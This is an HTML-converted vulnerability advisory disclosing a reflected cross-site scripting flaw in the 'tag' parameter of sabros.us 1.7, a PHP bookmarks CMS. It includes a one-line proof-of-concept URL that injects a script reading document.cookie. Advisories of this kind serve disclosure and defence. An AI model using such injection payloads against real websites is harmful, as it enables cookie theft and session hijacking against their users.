
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">

<HTML>

<HEAD>

<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">

<META NAME="Generator" CONTENT="MS Exchange Server version 6.5.7651.51">

<TITLE>[x0ne-h4ck] sabros.us 1.7 XSS Exploit</TITLE>

</HEAD>

<BODY>

<!-- Converted from text/plain format -->


<P><FONT SIZE=2>-=[--------------------ADVISORY-------------------]=-<BR>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sabros.us 1.7&nbsp;&nbsp;&nbsp;<BR>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>

&nbsp; Author: CorryL&nbsp;&nbsp;&nbsp; [corryl80@gmail.com]&nbsp;&nbsp;<BR>

-=[-----------------------------------------------]=-<BR>

<BR>

<BR>

-=[+] Application:&nbsp;&nbsp;&nbsp; sabros.us<BR>

-=[+] Version:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1.7<BR>

-=[+] Vendor's URL:&nbsp;&nbsp; <A HREF="http://sourceforge.net/projects/sabrosus/">http://sourceforge.net/projects/sabrosus/</A><BR>

-=[+] Platform:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Windows\Linux\Unix<BR>

-=[+] Bug type:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Cross-Site Script<BR>

-=[+] Exploitation:&nbsp;&nbsp; Remote<BR>

-=[-]<BR>

-=[+] Author:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CorryL&nbsp; ~ corryl80[at]gmail[dot]com ~<BR>

-=[+] Reference:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; www.x0n3-h4ck.org<BR>

-=[+] Virtual Office:&nbsp; <A HREF="http://www.kasamba.com/CorryL">http://www.kasamba.com/CorryL</A><BR>

-=[+] Irc Chan:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; irc.darksin.net #x0n3-h4ck&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>

<BR>

<BR>

..::[ Descriprion ]::..<BR>

<BR>

sabros.us is a CMS to put your bookmarks online with folksonomy support;<BR>

just like del.icio.us, but the big diference is you will have<BR>

the complete control of the source code and written on PHP with MySQL<BR>

as backend we make it cross platform.<BR>

<BR>

<BR>

..::[ Proof Of Concept ]::..<BR>

<BR>

<A HREF="http://remote-server/index.php?tag=">http://remote-server/index.php?tag=</A>&lt;/title&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;<BR>

<BR>

<BR>

<BR>

<BR>

<BR>

<BR>

**************<BR>

Registrati ad Alice Basic e scarica Alice Messenger,<BR>

il nuovo instant messenger che ti fa chattare GRATIS con i tuoi amici!<BR>

Per maggiori informazioni vai su:<BR>

<A HREF="http://adsl.alice.it/servizi/alicebasic.html?pmk=psmail_foot01">http://adsl.alice.it/servizi/alicebasic.html?pmk=psmail_foot01</A></FONT>

</P>


</BODY>

</HTML>